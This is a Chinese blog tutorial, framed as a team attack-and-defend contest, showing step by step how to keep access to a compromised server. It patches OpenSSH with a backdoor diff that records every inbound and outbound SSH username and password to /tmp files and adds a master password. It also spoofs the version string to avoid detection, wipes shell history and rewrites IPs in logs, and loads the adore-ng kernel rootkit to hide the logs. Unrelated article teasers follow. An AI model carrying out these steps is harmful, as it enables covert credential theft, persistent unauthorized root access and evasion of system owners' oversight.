当前位置: 首页 > news >正文

擂台赛-安全攻防之使用openssh后门获取root密码实战

前言

大家好,我是沐风晓月,我们开始组队学习了,介绍下我们的情况:

这几天跟队员 迎月,虹月,心月,古月打擂台,我和心月一组,相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。

接下来我们第一想做的就是如何维持这个权限,还要不被对方发现。

关于维持权限,我们第一时间想到的就是在对方服务器留下一个后门,搜索了很多资料,发现这个openssh的后门正合我意。

于是开干。。。

文章目录

  • 前言
  • 一. 配置实验环境
  • 二. 对openssh-5.9p1 打后门漏洞补丁
    • 2.1 解压
    • 2.2 打补丁
    • 2.3 修改后门密码和记录位置
    • 2.4 安装打了后门补丁的sshd服务
    • 2.5 启动并查看版本号
  • 三. 测试
    • 3.1 测试能否记录用户名和密码
    • 3.2 修改了密码还能否记录
    • 3.3 .能否记录普通用户密码
    • 3.4 测试 后门密码是否可以登录
    • 3.5 清理本次登录的脚印
  • 四. 安装adore-ng
    • 4.1 安装的过程
    • 4.2 隐藏文件
    • 4.3 测试文件是否还能被找到
  • 总结

在这里插入图片描述

一. 配置实验环境

为了确保修改对方openssh后,还能不被古月她们发现,我们先检查了对方服务器的ssh版本和gcc版本

  1. 检查ssh 版本
[root@mufeng ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
  1. 检查gcc是否已经安装
 [root@mufeng ~]# yum install gcc gcc-c++ -y

然后开始上环我们需要的包,安装完成后,再把包全部删掉即可:

  1. 上传我们需要的包

上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/software目录

[root@mufeng ~]# mkdir /software
[root@mufeng ~]# cd !$
cd /software
[root@mufeng software]# yum install lr* -y &>/dev/null && echo "ok"
ok[root@mufeng software]# rz   ## 上传软件包
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        sshpass-1.06.tar.gz

上传完成包之后,开始对打补丁并进行安装:

二. 对openssh-5.9p1 打后门漏洞补丁

2.1 解压

[root@mufeng software]# tar xf openssh-5.9p1.tar.gz 
You have mail in /var/spool/mail/root
[root@mufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz 
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1        openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        openssh-5.9p1.patch  sshpass-1.06.tar.gz
[root@mufeng software]# 

2.2 打补丁

[root@mufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1/
[root@mufeng software]# cd !$
cd openssh-5.9p1/
[root@mufeng openssh-5.9p1]# patch < sshbd5.9p1.diff 
patching file auth.c  # 认证
patching file auth-pam.c # 认证
patching file auth-passwd.c # 认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c  # 关于ssh 服务器
patching file sshconnect2.c  ## ssh 连接
patching file sshlogin.c  ## 关于登录,记录root密码
patching file version.h  ## 关于版本

2.3 修改后门密码和记录位置

[root@mufeng openssh-5.9p1]# tail -6 includes.h 
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog"  ## 记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" #  记录本机登录其他服务器用户名和密码
#define SECRETPW "mufeng123" # 后门密码
#endif /* INCLUDES_H */
[root@mufeng openssh-5.9p1]# 

修改版本号(修改的和原来一致)

[root@mufeng openssh-5.9p1]# cat version.h 
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */#define SSH_VERSION	"OpenSSH_5.3"#define SSH_PORTABLE	"p1"
#define SSH_RELEASE	SSH_VERSION SSH_PORTABLE
[root@mufeng openssh-5.9p1]# 

在这里插入图片描述

2.4 安装打了后门补丁的sshd服务

[root@mufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel >/root/instal.txt && echo "ok"

开始编译安装

[root@mufeng openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5[root@mufeng openssh-5.9p1]# make && make install

2.5 启动并查看版本号

[root@mufeng openssh-5.9p1]# service sshd restart
停止 sshd:                                                [确定]
正在启动 sshd:                                            [确定]
[root@mufeng openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

这里一定要设置的与ssh原来的版本号一致,要不然就暴露了。

三. 测试

测试主要基于以下几点:

  1. 测试是否可以记录对方登录服务器的账号和密码
  2. 测试在用户修改密码后,还能继续记录账号和密码
  3. 测试是否可以记录普通用户的密码
  4. 测试是否可以使用后门漏洞密码登录系统

3.1 测试能否记录用户名和密码

root@mufeng tmp]# ssh 192.168.1.43
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (ECDSA) to the list of known hosts.
root@192.168.1.43's password: 
Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# ls
ilog            olog            
##查看是否可以记录密码
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
## 包含用户名+密码+IP
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
[root@mufeng tmp]# 

以上证明了,可以记录对方的账号和密码

3.2 修改了密码还能否记录

测试过程代码:

[root@mufeng tmp]# echo 1234567890 |passwd --stdin root
更改用户 root 的密码 。
passwd: 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh 192.168.1.43 
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
[root@mufeng tmp]# 

以上证明了即使对方修改了密码,也一样可以记录。

3.3 .能否记录普通用户密码

[root@mufeng tmp]# useradd mufeng
[root@mufeng tmp]# echo 123456 |passwd --stdin mufeng
更改用户 mufeng 的密码 。
passwd: 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh mufeng@192.168.1.43
mufeng@192.168.1.43's password: 
[mufeng@mufeng ~]$ whoami
mufeng
[mufeng@mufeng ~]$ exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
user:password --> mufeng:123456
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# 

以上代码成功的记录了,对方使用普通用户登录时的用户名和密码

3.4 测试 后门密码是否可以登录

[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# ssh root@192.168.1.43
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
user:password@host --> root:mufeng123@192.168.1.43
[root@mufeng tmp]# 

在这里插入图片描述

3.5 清理本次登录的脚印

一定要清除掉自己登录的IP信息

[root@mufeng ~]# export HISTFILE=/dev/null
You have mail in /var/spool/mail/root
[root@mufeng ~]# export HISTSIZE=
[root@mufeng ~]# export HISTFILESIZE=
[root@mufeng ~]# echo >/root/.bash_history
# 这种清除方式,要确保一开始没有历史记录,如果有历史记录,可以用sed的方式替换
[root@mufeng ~]# sed -i 's/192.168.1.43/127.0.0.1/g' /root/.bash_history
## 其他访问日志也可以用用sed替换ip , 瞒天过海

接下来要把生成的文件进行隐藏,本次隐藏,我们沐风晓月组采用的是adore-ng, 这个工具是以模块的方式运行的,就类似于你电脑上的声卡,只要隐藏的好很难被发现。

这里我只写对两个文件/tmp/olog/tmp/ilog进行隐藏,其他的文件和目录也是同样的方法。

四. 安装adore-ng

4.1 安装的过程

  • 安装依赖包
[root@mufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm 
warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing...                ########################################### [100%]1:kernel-devel           ########################################### [100%]
  • 上传需要adore-ng
[root@mufeng ~]# rz解压
[root@mufeng ~]# unzip adore-ng-master.zip [root@mufeng ~]# cd adore-ng-master
[root@mufeng adore-ng-master]# ls
adore-ng.c  ava.c           libinvisible.h  Makefile
adore-ng.h  libinvisible.c  LICENSE         README.md
  • 开始安装
安装
[root@mufeng adore-ng-master]# make 
加载模块
[root@mufeng adore-ng-master]# insmod adore-ng.ko
[root@mufeng adore-ng-master]# 
  • 查看命令是否安装
  [root@mufeng adore-ng-master]# ./ava hUsage: ./ava {h,u,r,R,i,v,U} [file or PID]I print info (secret UID etc)h hide file  # 隐藏文件u unhide file  ## 不隐藏r execute as root  ## 像root一样去运行R remove PID foreverU uninstall adorei make PID invisible  ## 隐藏进程v make PID visible

4.2 隐藏文件

需要隐藏 ilog, olog

[root@mufeng adore-ng-master]# ./ava h /tmp/ilog  
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/ilog' is now hidden.
[root@mufeng adore-ng-master]# [root@mufeng adore-ng-master]# ./ava h /tmp/olog 
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/olog' is now hidden.

查看是否隐藏成功:

在这里插入图片描述

4.3 测试文件是否还能被找到

  • 使用find查找
[root@mufeng tmp]# find ./ -mtime -1
./
./orbit-root
./orbit-root/linc-f46-0-4088aa9a676df
./gconfd-root
./gconfd-root/saved_state_db283d80792451243e0a59a40000002b

发现无法找到文件了

但当我们直接使用文件名查看内容的时候,还是可以查看的,说明文件并不是被删除了,而是被隐藏

在这里插入图片描述

总结

虹月组目前还未发现他们的服务已经被植入后门漏洞,今天心月提到可以再加上一个功能:邮件发送功能,实现当虹月组登录服务器,就能收到信息。

听起来是个好主意,下次补上。

好了以上是本文的全部内容,下次再见吧。

💕 好啦,这就是今天要分享给大家的全部内容了,我们下期再见!
💕 本文由沐风晓月原创,首发于CSDN博客, 博客主页:mufeng.blog.csdn.net
💕 每一次学习都很枯燥,单调,孤独,甚至看不到未来,每一次遇到问题都让人疑惑,焦虑,怀疑,甚至想要放弃。 但坚定的走下来,会收获很多。收获的不单单是技术的成长还有一颗强大的心。
💕 喜欢的话记得点赞收藏哦

相关文章:

擂台赛-安全攻防之使用openssh后门获取root密码实战

前言 大家好&#xff0c;我是沐风晓月&#xff0c;我们开始组队学习了&#xff0c;介绍下我们的情况&#xff1a; 这几天跟队员 迎月&#xff0c;虹月&#xff0c;心月&#xff0c;古月打擂台&#xff0c;我和心月一组&#xff0c;相互攻占对方服务器。 终于在今早凌晨三点拿…...

关于React入门基础从哪学起?

文章目录前言一、React简介1. React是什么2. react 与 vue 最大的区别就是:3. React特点4. React介绍描述5. React高效的原因6.React强大之处二、React基础格式1.什么是虚拟dom&#xff1f;2.为什么要创建虚拟dom&#xff1f;三、React也分为俩种创建方式1. 使用js的方式来创建…...

python玄阶斗技--tkinter库

目录 一.tkinter库介绍 二.功能实现 1.窗口创建 2.Button 按钮 3.Entry 文本输入域 4.text 文本框 5.Listbox 多选下拉框 6.Radiobutton 多选项按钮 7.Checkbutton 多选按钮 8.Scale 滑块(拉动条) 9.Scroolbar 滚动条 10.Menu 菜单栏 11. messagebox 消息框 12…...

【MySQL】MySQL的介绍MySQL数据库及MySQL表的基本操作

文章目录数据库的介绍什么是数据库数据库分类MySQL的介绍数据库的基本操作数据库的操作创建数据库查看所有数据库选中指定的数据库删除数据库常用数据类型数值类型字符串类型日期类型表的操作创建表查看指定数据库下的所有表查看指定表的结构删除表小练习数据库的介绍 什么是数…...

【每日随笔】社会上层与中层的博弈 ( 技术无关、没事别点进来看 | 社会上层 | 上层与中层的保护层 | 推荐学习的知识 )

文章目录一、社会上层二、上层与中层的保护层三、推荐学习的知识一、社会上层 社会上层 掌握着 生产资料 和 权利 ; 社会中层 是 小企业主 和 中产打工人 ; 上层 名额有限 生产资料所有者 : 垄断巨头 , 独角兽 , 大型企业主 , 大型企业股东 , 数量有限 ;权利所有者 : 高级别的…...

Cookie 和 Session的区别

文章目录时间&#xff1a;2023年3月23日第一&#xff1a;什么是 Cookie 和 Session ?什么是 Cookie什么是 Session第二&#xff1a;Cookie 和 Session 有什么不同&#xff1f;第三&#xff1a;为什么需要 Cookie 和 Session&#xff0c;他们有什么关联&#xff1f;第四&#x…...

leetcode使用vscode调试C++代码

leetcode使用vscode调试C代码 这里记录一下大体思路吧&#xff0c;关于细节配置放上别的博主的链接&#xff0c;他们讲的更好 vscode只是编辑器&#xff0c;相当于记事本&#xff0c;需要下载minGW提供的编译器和调试器 官方介绍&#xff1a; C/C拓展不包括编译器或调试器&…...

树莓派Linux源码配置,树莓派Linux内核编译,树莓派Linux内核更换

目录 一 树莓派Linux的源码配置 ① 内核源码下载说明 ② 三种方法配置源码 二 树莓派Linux内核编译 ① 内核编译 ② 编译时报错及解决方案&#xff08;亲测&#xff09; 三 更换树莓派Linux内核 操作步骤说明 ● dmesg报错及解决方案&#xff08;亲测&#xff0…...

【C语言】深度讲解 atoi函数 使用方法与模拟实现

文章目录atoi使用方法&#xff1a;atoi模拟实现atoi 功能&#xff1a;转化字符串到整数 头文件&#xff1a; #include <stdlib.h> int atoi (const char * str); 参数 str&#xff1a;要转换为整数的字符串 返回值 如果转换成功&#xff0c;函数将转换后的整数作为int值…...

HTTPS的加密流程

1、概念HTTPS 是一个应用层协议&#xff0c;是在 HTTP 协议的基础上引入了一个加密层。HTTP 协议内容都是按照文本的方式明文传输的&#xff0c;这就导致在传输过程中出现一些被篡改的情况。HTTP协议传输的数据都是未加密的&#xff0c;也就是明文的&#xff0c;因此使用HTTP协…...

STM32配置读取BMP280气压传感器数据

STM32配置读取BMP280气压传感器数据 BMP280是在BMP180基础上增强的绝对气压传感器&#xff0c;在飞控领域的高度识别方面应用也比较多。 BMP280和BMP180的区别&#xff1a; 市面上也有一些模块&#xff1a; 这里介绍STM32芯片和BMP280的连接和数据读取。 电路连接 BMP28…...

【Linux】 基础IO——文件(中)

文章目录1. 文件描述符为什么从3开始使用&#xff1f;2. 文件描述符本质理解3. 如何理解Linux下的一切皆文件&#xff1f;4. FILE是什么&#xff0c;谁提供&#xff1f;和内核的struct有关系么&#xff1f;证明struct FILE结构体中存在文件描述符fd5. 重定向的本质输出重定向输…...

蓝桥杯刷题冲刺 | 倒计时13天

作者&#xff1a;指针不指南吗 专栏&#xff1a;蓝桥杯倒计时冲刺 &#x1f43e;马上就要蓝桥杯了&#xff0c;最后的这几天尤为重要&#xff0c;不可懈怠哦&#x1f43e; 文章目录1.母牛的故事2.魔板1.母牛的故事 题目 链接&#xff1a; [递归]母牛的故事 - C语言网 (dotcpp.c…...

MIPI D-PHYv2.5笔记(5) -- 不同的PHY配置方式

声明&#xff1a;作者是做嵌入式软件开发的&#xff0c;并非专业的硬件设计人员&#xff0c;笔记内容根据自己的经验和对协议的理解输出&#xff0c;肯定存在有些理解和翻译不到位的地方&#xff0c;有疑问请参考原始规范看 规范5.7章节列举了一些常见的PHY配置&#xff0c;但实…...

【周末闲谈】文心一言,模仿还是超越?

个人主页&#xff1a;【&#x1f60a;个人主页】 系列专栏&#xff1a;【❤️周末闲谈】 周末闲谈 ✨第一周 二进制VS三进制 文章目录周末闲谈前言一、背景环境二、文心一言&#xff1f;(_)?三、文心一言的优势&#xff1f;&#x1f617;&#x1f617;&#x1f617;四、文心一…...

《一“企”谈》 | 「佛山市政」:携手企企通,让采购业务数智化

近日&#xff0c;国家施工总承包壹级企业「佛山市市政建设工程有限公司」&#xff08;以下简称“佛山市政”&#xff09;正积极布局数字化建设工作&#xff0c;基于采购业务数智化&#xff0c;携手企企通打造了SaaS采购云平台。 01、岭南建筑强企 匠心铸造精品 …...

Spark运行架构

目录 1 运行架构 2 核心组件 2.1 Driver 2.2 Executor 2.3 Master & Worker 2.4 ApplicationMaster 3 核心概念 3.1 Executor 与 Core 3.2 并行度&#xff08; Parallelism&#xff09; 3.3 ​​​​​​​有向无环图&#xff08; DAG&#xff09; 4 提交流程 …...

基于卷积神经网络CNN的水果分类预测,卷积神经网络水果等级识别

目录 背影 卷积神经网络CNN的原理 卷积神经网络CNN的定义 卷积神经网络CNN的神经元 卷积神经网络CNN的激活函数 卷积神经网络CNN的传递函数 卷积神经网络CNN水果分类预测 基本结构 主要参数 MATALB代码 结果图 展望 背影 现在生活&#xff0c;为节能减排&#xff0c;减少电能…...

Spring Boot 框架总结

Spring Boot 框架总结 1. springboot的引言 Spring Boot是由Pivotal团队提供的全新框架&#xff0c;其设计目的是用来简化Spring应用的 初始搭建以及开发过程。该框架使用了特定的方式来进行配置&#xff0c;从而使开发人员不 再需要定义样板化的配置。通过这种方式&#xff0…...

【数据结构】第五站:带头双向循环链表

目录 一、链表的八种结构 二、带头双向循环链表的实现 1.链表的定义 2.链表的接口定义 3.接口的具体实现 三、带头双向循环链表的完整代码 四、顺序表和链表的区别 一、链表的八种结构 我们已经知道链表可以有以下三种分法 而这三种结构又可以排列组合&#xff0c;形成八…...

安卓手机缓存视频救星:手把手教你将腾讯课堂的.m3u8.sqlite文件转成MP4

安卓手机腾讯课堂缓存视频解密实战&#xff1a;从.m3u8.sqlite到MP4全流程指南 你是否曾在腾讯课堂APP下载了付费课程&#xff0c;却发现缓存文件是一堆无法直接播放的.m3u8.sqlite格式&#xff1f;这些加密文件既不能备份到电脑&#xff0c;也无法在其他设备上观看。本文将彻底…...

缠论自动化分析终极指南:ChanlunX让复杂技术分析变得简单

缠论自动化分析终极指南&#xff1a;ChanlunX让复杂技术分析变得简单 【免费下载链接】ChanlunX 缠中说禅炒股缠论可视化插件 项目地址: https://gitcode.com/gh_mirrors/ch/ChanlunX 你是否曾经面对复杂的K线图感到迷茫&#xff1f;是否想要掌握缠论分析却苦于手工绘制…...

终极NGA论坛浏览体验优化指南:5分钟打造你的专属摸鱼神器

终极NGA论坛浏览体验优化指南&#xff1a;5分钟打造你的专属摸鱼神器 【免费下载链接】NGA-BBS-Script NGA论坛增强脚本&#xff0c;给你完全不一样的浏览体验 项目地址: https://gitcode.com/gh_mirrors/ng/NGA-BBS-Script 还在为NGA论坛繁杂的界面和低效的浏览体验烦恼…...

开源机械爪OpenClaw UBI:从3D打印到Arduino控制的低成本机器人抓取方案

1. 项目概述&#xff1a;一个基于开源硬件的机械爪设计与实现最近在整理工作室的物料时&#xff0c;翻出了几个闲置的步进电机和一堆3D打印件&#xff0c;这让我想起了几年前一个挺有意思的项目——OpenClaw UBI。这是一个在开源硬件社区里流传的、基于通用构建接口&#xff08…...

【限时技术白皮书】ElevenLabs尼泊尔文语音质量评估体系(含MOS打分标准、基线数据集、及与Google Cloud Text-to-Speech Nepali v1.3对比)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;ElevenLabs尼泊尔文语音质量评估体系概述 ElevenLabs 对尼泊尔文&#xff08;नेपाली&#xff09;语音合成的支持虽属新兴能力&#xff0c;但其质量评估需兼顾语言学特性、声学保真度与文化适配性…...

STM32CubeMX实战:5分钟搞定MAX31865 PT100测温,从SPI配置到温度读取全流程

STM32CubeMX实战&#xff1a;5分钟搞定MAX31865 PT100测温&#xff0c;从SPI配置到温度读取全流程 在工业测温领域&#xff0c;PT100凭借其优异的线性度和稳定性成为温度测量的黄金标准。而MAX31865作为专为RTD传感器设计的信号调理器&#xff0c;极大简化了前端电路设计。本文…...

百度网盘Mac版SVIP破解终极指南:解锁70倍下载速度的完整方案

百度网盘Mac版SVIP破解终极指南&#xff1a;解锁70倍下载速度的完整方案 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 百度网盘Mac版SVIP破解插件是一…...

Android 显示框架:SurfaceFlinger与合成策略探析

1. SurfaceFlinger的核心角色解析 第一次拆解Android显示系统时&#xff0c;我被SurfaceFlinger这个名称逗笑了——"Surface抛洒者"&#xff1f;后来发现这个命名意外地准确。想象你正在布置多屏艺术展&#xff0c;SurfaceFlinger就是那个决定每幅画作展示位置、叠加…...

153.YOLOv8 从数据集下载到 ONNX 部署

摘要 目标检测是计算机视觉领域的核心任务之一,YOLO系列算法凭借其单阶段检测架构和实时推理能力,成为工业界部署的首选方案。本文从零开始,系统讲解YOLOv8的完整使用流程,涵盖环境搭建、数据集构建、模型训练、评估与部署全链路。所有代码均基于Ultralytics官方库,提供可…...

【ElevenLabs葡语语音实战指南】:20年AI语音工程师亲测的5大本地化避坑清单(附实测TTS自然度评分92.7%)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;ElevenLabs葡语语音的核心技术架构与本地化本质 ElevenLabs 的葡语语音合成并非简单地在英语模型上叠加音素映射&#xff0c;而是基于多语言联合训练框架构建的端到端神经语音系统&#xff0c;其核心依…...